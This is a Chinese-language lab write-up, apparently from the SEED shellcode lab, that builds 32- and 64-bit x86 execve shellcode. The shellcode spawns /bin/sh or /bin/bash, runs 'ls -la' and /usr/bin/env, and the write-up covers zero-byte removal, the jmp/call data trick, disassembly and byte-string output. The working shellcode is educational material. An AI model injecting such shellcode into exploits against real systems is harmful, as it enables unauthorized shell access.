Task-1 Writing Shellcode
A: The Entire Process
下面这段代码使用汇编语言编写实现一个Linux系统调用程序,用于执行/bin/sh命令。
section .text
; 定义代码段开始
global _start
; 声明_start标号为全局可见,_start是程序的入口点
_start:
; 程序的入口点
; 存储参数字符串到栈上
xor eax, eax
; 将eax寄存器与自身进行异或操作,将eax寄存器清零
; 构建参数数组argv[]
push eax
; 压入0截断
push "//sh"
; 压入字符串"//sh",作为要执行的程序的参数之一
push "/bin"
; 压入字符串"/bin",作为要执行的程序的参数之一
mov ebx, esp
; 将esp寄存器的值(指向字符串"/bin//sh"的地址)赋给ebx寄存器,用于后续执行execve系统调用时指定要执行的程序路径
push eax
; 第二个参数argv[1],为空
push ebx
; 压入ebx寄存器的值(指向字符串"/bin//sh"的地址),作为argv[]数组的第一个元素(argv[0])的值,表示要执行的程序的路径
mov ecx, esp
; 将esp寄存器的值(ebx)赋给ecx寄存器,用于后续执行execve系统调用时指定参数数组的地址
; 环境变量
xor edx, edx
; 将edx寄存器与自身进行异或操作,将edx寄存器清零,表示没有环境变量
; 调用execve()
xor eax, eax
; 将eax寄存器与自身进行异或操作,将eax寄存器清零
mov al, 0x0b
; 将值0x0b(11的十六进制表示)赋给al寄存器,表示要执行的系统调用编号为11,即execve
int 0x80
; 触发软中断,进入内核模式执行系统调用
使用 NASM(Netwide Assembler)将汇编代码编译为 32 位 ELF 目标文件。ELF(Executable and Linkable Format)是一种可执行文件和可链接文件的标准文件格式。它是在许多类Unix操作系统中使用的常见二进制文件格式,包括Linux。ELF 文件包含了程序的机器代码、数据、符号表、调试信息和其他与执行相关的元数据。ELF 文件可以根据需要进行链接,以创建可执行文件、共享库、静态库等。它提供了灵活性和可扩展性,使得在不同的编程语言和平台上进行软件开发和交付变得更加方便。
nasm -f elf32 mysh.s -o mysh.o
使用 GNU ld(链接器)将 NASM 生成的目标文件与所需的库文件进行链接,以生成可执行文件。针对 32 位 x86 架构的 ELF 目标文件,可以使用 -m elf_i386
选项来指定架构。下面是使用 ld 进行链接的命令:
ld -m elf_i386 mysh.o -o mysh
运行mysh,可知启动一个新的 sh 进程用于执行 shell 指令。
seed@VM:~/.../Labsetup$ echo $ # 用于表示当前正在运行的进程的进程 ID(PID)
2336
seed@VM:~/.../Labsetup$ ./mysh # 运行mysh
$ ls
Makefile convert.py machinecode mysh mysh.o mysh.s mysh2.s mysh_64.s
$ echo $
2726
$
--disassemble
选项告诉 objdump
对目标文件进行反汇编,-Mintel
选项指定使用 Intel 格式的语法进行显示。
seed@VM:~/.../Labsetup$ objdump -Mintel --disassemble mysh.o
mysh.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx,esp
13: 31 d2 xor edx,edx
15: 31 c0 xor eax,eax
17: b0 0b mov al,0xb
19: cd 80 int 0x80
以每行 20 个字符的方式显示 mysh.o
目标文件的内容的十六进制表示。 -p
选项告诉 xxd
只输出纯粹的十六进制数据,而不包括行号和ASCII字符显示。 -c 20
选项指定每行显示 20 个字符。
seed@VM:~/.../Labsetup$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
0100000000000000000000004000000000000000
# 略
# 下面这部分就是机器代码了
00000000000000000000000031c050682f2f7368
682f62696e89e3505389e131d231c0b00bcd8000
# 略
0400f1ff00000000000000000000000003000100
08000000000000000000000010000100006d7973
682e73005f73746172740000
将机器代码放入convert.py中的ori_sh,转换成正确的格式。
# Run "xxd -p -c 20 rev_sh.o",
# copy and paste the machine code to the following:
ori_sh ="""31c050682f2f7368682f62696e89e3505389e131d231c0b00bcd80"""
seed@VM:~/.../Labsetup$ python3 convert.py
Length of the shellcode: 27
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
B. Eliminating Zeros from the Code
这个任务中,我们将使用 shellcode 来执行 /bin/bash,该命令字符串有 9 个字节(如果计算末尾的零,则有 10 个字节)。通常情况下,为了将这个字符串推入堆栈,我们需要使字符串的长度为 4 的倍数,所以我们会将字符串转换为 /bin////bash。然而,对于此任务,我们不能向字符串中添加任何多余的 /,也就是说,命令的长度必须是 9 个字节(/bin/bash)。
我们可以使用SHL
和 SHR
。这两个是汇编语言中的位移指令,用于对寄存器或内存中的数据进行位移操作。它们分别可以对操作数进行左移(Shift Left)和右移(Shift Right),然后使用0来填充。
所以可以修改mysh.s中5-9行如下所示,经过位移操作,ebx变为了 0x00000068,压入栈中与 /bin/bas 拼凑在一起变成 /bin/bash
xor eax, eax
push eax ; Use 0 to terminate the string
mov ebx,"###h" ; EBX为0x68232323
shr ebx,24 ; 右移ebx24位, ebx变为0x00000068
push ebx
push "/bas"
push "/bin"
mov ebx, esp ; Get the string address
编译链接,运行结果如下。可知正确运行了 /bin/bash。
seed@VM:~/.../Labsetup$ echo $
3218
seed@VM:~/.../Labsetup$ ./mysh
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
[10/25/23]seed@VM:.../Labsetup$ echo $
3774
seed@VM:.../Labsetup$ echo $SHELL
/bin/bash # 运行的是bash
C. Providing Arguments for System Calls
在本实验中,要求运行命令: /bin/sh -c "ls -la"
,需要我们为系统调用提供参数。
构造参数并压入栈中
参数/bin//sh构造如下,然后压入栈中。此时将栈顶指针地址移动到ebx寄存器,表示该参数其地址存储在ebx
xor eax, eax
push eax ; Use 0 to terminate the string
push "//sh"
push "/bin"
mov ebx, esp ; Get the address of argv[0]
参数-c构造如下,然后压入栈中。此时将栈顶指针地址移动到edx寄存器,表示该参数其地址存储在edx。
mov eax, "##-c"
shr eax, 16
push eax ; eax = -c
mov edx, esp ; Get the address of argv[1]
参数ls -la构造如下,然后压入栈中。此时将栈顶指针地址移动到ecx寄存器,表示该参数其地址存储在ecx。
mov eax, "##la"
shr eax, 16
push eax
push "ls -"
mov ecx, esp ; Get the address of argv[2]
传递参数给系统调用
要理解怎么做,首先来看execve系统调用的使用。下面是一个示例程序,用于执行/bin/sh -c "ls -la"
。传递了三个参数——要执行的程序的路径path、参数数组args以及环境变量数组envs。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *args[] = { "/bin/sh", "-c", "ls -la", NULL };
execve(args[0], args, NULL);
perror("execve"); // 如果execve调用失败,打印错误信息
return 0;
}
这段汇编代码将eax寄存器清零,然后将0x0b移动到al寄存器(即eax寄存器的低八位),表示要执行的系统调用编号为 11,即 execve。
; Invoke execve()
xor eax, eax ; eax = 0x00000000
mov al, 0x0b ; eax = 0x0000000b
ebx寄存器为传递的参数一即path的地址,ecx寄存器为传递的参数二即args的地址,edx寄存器为传递的参数三即envs的地址。
所以使用下面这段汇编代码将args参数列表压入栈中,然后将栈顶指针esp移动到ecx寄存器作为系统调用参数二,这样args参数传递就完成了。同时args[0]即path参数的地址已经在ebx寄存器中,这个参数地址在我们之前构造时就已经放在了ebx寄存器中了,因此path参数的传递也完成了。
xor eax, eax
push eax ; argv[3] = 0
push ecx ; argv[2] points "ls -la"
push edx ; argv[1] points "-c"
push ebx ; argv[0] points "/bin//sh"
mov ecx, esp ; Get the address of argv[]
还有参数三envs,传递NULL。因此将edx与自身异或得到0作为参数envs传递给execve调用。
; For environment variable
xor edx, edx ; No env variables
这样与前面的结合起来,就能完整理解这个shellcode的执行流程与原理了。完整shellcode编写如下
section .text
global _start
_start:
; Store the argument string on stack
xor eax, eax
push eax ; Use 0 to terminate the string
push "//sh"
push "/bin"
mov ebx, esp ; Get the address of argv[0]
mov eax, "##-c"
shr eax, 16
push eax ; eax = -c
mov edx, esp ; Get the address of argv[1]
mov eax, "##la"
shr eax, 16
push eax
push "ls -"
mov ecx, esp ; Get the address of argv[2]
; Construct the argument array argv[]
xor eax, eax
push eax ; argv[3] = 0
push ecx ; argv[2] points "ls -la"
push edx ; argv[1] points "-c"
push ebx ; argv[0] points "/bin//sh"
mov ecx, esp ; Get the address of argv[]
; For environment variable
xor edx, edx ; No env variables
; Invoke execve()
xor eax, eax ; eax = 0x00000000
mov al, 0x0b ; eax = 0x0000000b
int 0x80
最后编译链接shellcode,执行结果如下
seed@VM:~/.../Labsetup$ nasm -f elf32 mysh.s -o mysh.o
seed@VM:~/.../Labsetup$ ld -m elf_i386 mysh.o -o mysh
seed@VM:~/.../Labsetup$ ./mysh
total 56
drwxrwxr-x 2 seed seed 4096 Oct 26 02:25 .
drwxrwxr-x 4 seed seed 4096 Oct 16 04:30 ..
-rw------- 1 seed seed 2 Oct 25 23:30 .gdb_history
-rw-rw-r-- 1 seed seed 294 Oct 16 04:30 Makefile
-rw-rw-r-- 1 seed seed 481 Oct 25 22:49 convert.py
-rw-rw-r-- 1 seed seed 9234 Oct 23 04:17 machinecode
-rwxrwxr-x 1 seed seed 4536 Oct 26 02:25 mysh
-rw-rw-r-- 1 seed seed 464 Oct 26 02:25 mysh.o
-rw-rw-r-- 1 seed seed 1131 Oct 26 02:25 mysh.s
-rw-rw-r-- 1 seed seed 266 Oct 16 04:30 mysh2.s
-rw-rw-r-- 1 seed seed 378 Oct 16 04:30 mysh_64.s
D. Providing Environment Variables for execve()
这里的要求总结一下,就是要求我们实现shellcode,功能与下面的C语言程序相同。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *args[] = { "/usr/bin/env", NULL };
char *env[] = { "aaa=1234", "bbb=5678", "cccc=1234", NULL };
execve(args[0], args, env);
perror("execve"); // 如果execve调用失败,打印错误信息
return 0;
}
这里要我们将execve系统调用的path设置为/usr/bin/env
,args设置为{ "/usr/bin/env", NULL }
,envs设置为{ "aaa=1234", "bbb=5678", "cccc=1234", NULL }
。
envs参数
首先构造envs参数列表,aaa=1234的地址存放在ebx寄存器
xor eax, eax
push eax
push "1234"
push "aaa=" ; aaa=1234
mov ebx, esp
bbb=5678的地址存放在ecx寄存器
push eax
push "5678"
push "bbb=" ; bbb=5678
mov ecx, esp
cccc=1234为九个字节,因此需要通过移位来构造0。其地址存放在edx寄存器。
mov eax, "###4"
shr eax, 24 ; Generate 0
push eax
push "=123"
push "cccc" ; cccc=1234
mov edx, esp
然后传递envs参数。将构造的三个环境变量压入栈中,然后获取栈顶指针存入edx寄存器中,作为参数envs。
; For environment variable
xor eax, eax
push eax ; envs[3]=null
push edx ; envs[2]="cccc=1234"
push ecx ; envs[2]="bbb=1234"
push ebx ; envs[2]="aaa=1234"
mov edx, esp
args参数
然后构造path参数和args参数。将path的地址存入ebx寄存器中。
; path and args
xor eax, eax
push eax ; Use 0 to terminate the string
push "/env"
push "/bin"
push "/usr"
mov ebx, esp ; Get the address of argv[0]
然后将args压入栈,并将args的地址存入ecx寄存器中。
push eax ; argv[1] = 0
push ebx ; argv[0] points "/usr/bin/env"
mov ecx, esp ; Get the address of argv[]
完整代码如下
section .text
global _start
_start:
; Store the argument string on stack
; environment
xor eax, eax
push eax
push "1234"
push "aaa=" ; aaa=1234
mov ebx, esp
push eax
push "5678"
push "bbb=" ; bbb=5678
mov ecx, esp
mov eax, "###4"
shr eax, 24 ; Generate 0
push eax
push "=123"
push "cccc" ; cccc=1234
mov edx, esp
; For environment variable
xor eax, eax
push eax ; envs[3]=null
push edx ; envs[2]="cccc=1234"
push ecx ; envs[2]="bbb=1234"
push ebx ; envs[2]="aaa=1234"
mov edx, esp
; path and args
xor eax, eax
push eax ; Use 0 to terminate the string
push "/env"
push "/bin"
push "/usr"
mov ebx, esp ; Get the address of argv[0]
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] points "/usr/bin/env"
mov ecx, esp ; Get the address of argv[]
; Invoke execve()
xor eax, eax ; eax = 0x00000000
mov al, 0x0b ; eax = 0x0000000b
int 0x80
编译链接,执行结果如下
Task-2 Using Code Segment
示例程序分析
在Task1中,解决获取数据地址问题的方式是每次构造完数据结构后,获取当前的栈顶地址来获取目标数据地址。还有另一种解决相同问题的方法,即通过获取所有必要数据结构的地址来实现。
给出示例代码如下所示
section .text
global _start
_start:
BITS 32
jmp short two
one:
pop ebx
xor eax, eax
mov [ebx+7], al
mov [ebx+8], ebx
mov [ebx+12], eax
lea ecx, [ebx+8]
xor edx, edx
mov al, 0x0b
int 0x80
two:
call one
db '/bin/sh*AAAABBBB'
这段代码首先通过jmp short two
指令跳转到two:
,在two代码段中,call调用one函数,使用db '/bin/sh*AAAABBBB'
指令定义一段字节数据并将字节数据存储在代码区域中。然后进入one代码段,首先将栈顶的值弹出到ebx
寄存器中,这里是将/bin/sh*AAAABBBB
的地址弹出到ebx
中。内存空间如下所示。
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | b | i | n | / | s | h | * | B | B | B | B | A | A | A | A |
ebx |
将eax异或运算,然后将低位的八位存储到ebx+7
地址处,即将字节0存储到/bin/sh
字符串的最后一个字符处。
xor eax, eax
mov [ebx+7], al
内存空间改变如下所示
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | b | i | n | / | s | h | 0 | B | B | B | B | A | A | A | A |
ebx |
然后mov [ebx+8], ebx
将ebx
的值存储到ebx+8
地址处,内存空间改变如下所示
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | b | i | n | / | s | h | 0 | ebx0-7 | ebx8-15 | ebx16-23 | ebx23-31 | A | A | A | A |
ebx |
执行lea ecx, [ebx+8]
,将ebx+8
的值也就是ebx
寄存器的值放入ecx
寄存器作为参数args。
mov [ebx+12], eax
将eax
寄存器的值存储到ebx+12
地址处,即将0存储到/bin/sh*AAAABBBB
字符串的最后一个字符之后的位置。
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | b | i | n | / | s | h | 0 | ebx0-7 | ebx8-15 | ebx16-23 | ebx23-31 | 0 | 0 | 0 | 0 |
ebx |
最后将edx与自己异或设置为0,将eax的低八位设置为11,表示进行execve系统调用。
xor edx, edx
mov al, 0x0b
综上所述,eax、ebx、ecx、edx都设置完毕,所以给出的示例代码等效于下面的C语言代码。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *args[] = { "/bin/sh", NULL };
execve(args[0], args, NULL);
perror("execve"); // 如果execve调用失败,打印错误信息
return 0;
}
编写shellcode
使用样例程序中的方法,编写一个新的shellcode,使其能够运行命令/usr/bin/env,并且能够打印出如下环境变量
a=11
b=22
two代码段如下,设置数据为/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE
。
two:
call one
db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'
内存空间如下所示(第一行为地址,第二行为内容,第三行表示如果内容为指针其指向的地址)
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | u | s | r | / | b | i | n | / | e | n | v | * | A | A | A | A | B | B | B |
20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
B | a | = | 1 | 1 | * | b | = | 2 | 2 | * | C | C | C | C | D | D | D | D | E |
40 | 41 | 42 | |||||||||||||||||
E | E | E | |||||||||||||||||
进入one代码段,先对eax清零,然后将数据段进行分隔。也就是将*号和args数组以及envs数组末尾元素置为空。
one:
pop ebx
xor eax, eax
mov [ebx+12], al
mov [ebx+13], ebx
mov [ebx+17], eax
mov [ebx+25], al
mov [ebx+30], al
mov [ebx+39], eax
操作后的内存空间如下
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | u | s | r | / | b | i | n | / | e | n | v | 0 | 0 | 0 | 0 | ||||
ebx | 0 | ||||||||||||||||||
20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
0 | a | = | 1 | 1 | 0 | b | = | 2 | 2 | 0 | C | C | C | C | D | D | D | D | 0 |
40 | 41 | 42 | |||||||||||||||||
0 | 0 | 0 | |||||||||||||||||
然后将两个envs参数也就是a=11
和b=22
数据段的地址加载到寄存器中。
lea ecx, [ebx+21]
lea edx, [ebx+26]
mov [ebx+31], ecx
mov [ebx+35], edx
操作后的内存空间如下
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
/ | u | s | r | / | b | i | n | / | e | n | v | 0 | 0 | 0 | 0 | ||||
ebx | 0 | ||||||||||||||||||
20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 |
0 | a | = | 1 | 1 | 0 | b | = | 2 | 2 | 0 | 0 | ||||||||
21 | 26 | ||||||||||||||||||
40 | 41 | 42 | |||||||||||||||||
0 | 0 | 0 | |||||||||||||||||
最后为系统调用提供参数。将args的地址加载到ecx寄存器,envs的地址加载到edx寄存器,path的地址已经存在ebx寄存器中了。
lea ecx, [ebx+13]
lea edx, [ebx+31]
完整代码如下所示
section .text
global _start
_start:
BITS 32
jmp short two
one:
pop ebx
xor eax, eax
mov [ebx+12], al
mov [ebx+13], ebx
mov [ebx+17], eax
mov [ebx+25], al
mov [ebx+30], al
mov [ebx+39], eax
lea ecx, [ebx+21]
lea edx, [ebx+26]
mov [ebx+31], ecx
mov [ebx+35], edx
lea ecx, [ebx+13]
lea edx, [ebx+31]
mov al, 0x0b
int 0x80
two:
call one
db '/usr/bin/env*AAAABBBBa=11*b=22*CCCCDDDDEEEE'
编译链接运行如下所示
nasm -f elf32 mysh2.s -o mysh2.o
ld --omagic -m elf_i386 mysh2.o -o mysh2
Task-3 Writing 64-bit Shellcode
完整代码如下所示
global _start
_start:
; The following code calls execve("/bin/sh", ...)
xor rdx, rdx ; 3rd argument
push rdx
; 修改的部分
mov rax, '#######h'
shr rax, 56
push rax
mov rax, '/bin/bas'
push rax
mov rdi, rsp ; 1st argument
push rdx
push rdi
mov rsi, rsp ; 2nd argument
xor rax, rax
mov al, 0x3b ; execve()
syscall
Summary
在编写64位系统和32位系统的shellcode时,存在一些关键的差异。
- 寄存器:64位系统使用更多的寄存器,其中包括通用寄存器和扩展寄存器。通用寄存器从RAX到R15,扩展寄存器包括R8到R15。相比之下,32位系统只有通用寄存器,从EAX到EDI。因此,在编写64位系统的shellcode时,可以利用更多的寄存器来存储数据和执行操作。
- 操作数的大小:在64位系统中,指针大小为64位,所以操作数的大小也相应增加。在32位系统中,指针大小为32位,操作数的大小也是32位。因此在编写64位系统的shellcode时,需要使用64位的操作数和指令。
- 系统调用:由于64位系统和32位系统的系统调用接口不同,因此在编写shellcode时需要使用不同的系统调用号和调用方式。在64位系统中,一般使用syscall指令进行系统调用,系统调用号存储在RAX寄存器中。而在32位系统中,使用int 0x80指令进行系统调用,系统调用号存储在EAX寄存器中。
一个x86-64的CPU包含一组16个存储64位值的通用寄存器,用于存储整数和指针。初始的8086有8个16位的寄存器,如下标的%ax到%sp。扩展到IA32架构时,这些寄存器也扩展到了32位寄存器,从%eax到%esp。
63 | 31 | 15 | 7 | |
---|---|---|---|---|
%rax | %eax | %ax | %al | 返回值 |
%rbx | %ebx | %bx | %bl | 被调用者保存 |
%rcx | %ecx | %cx | %cl | 参数4 |
%rdx | %edx | %dx | %dl | 参数3 |
%rsi | %esi | %si | %sil | 参数2 |
%rdi | %edi | %di | %dil | 参数1 |
%rbp | %ebp | %bp | %bpl | 被调用者保存 |
%rsp | %esp | %sp | %spl | 栈指针 |
%r8 | %r8d | %r8w | %r8b | 参数5 |
%r9 | %r9d | %r9w | %r9b | 参数6 |
%r10 | %r10d | %r10w | %r10b | 调用者保存 |
%r11 | %r11d | %r11w | %r11b | 调用者保存 |
%r12 | %r12d | %r12w | %r12b | 被调用者保存 |
%r13 | %r13d | %r13w | %r13b | 被调用者保存 |
%r14 | %r14d | %r14w | %r14b | 被调用者保存 |
%r15 | %r15d | %r15w | %r15b | 被调用者保存 |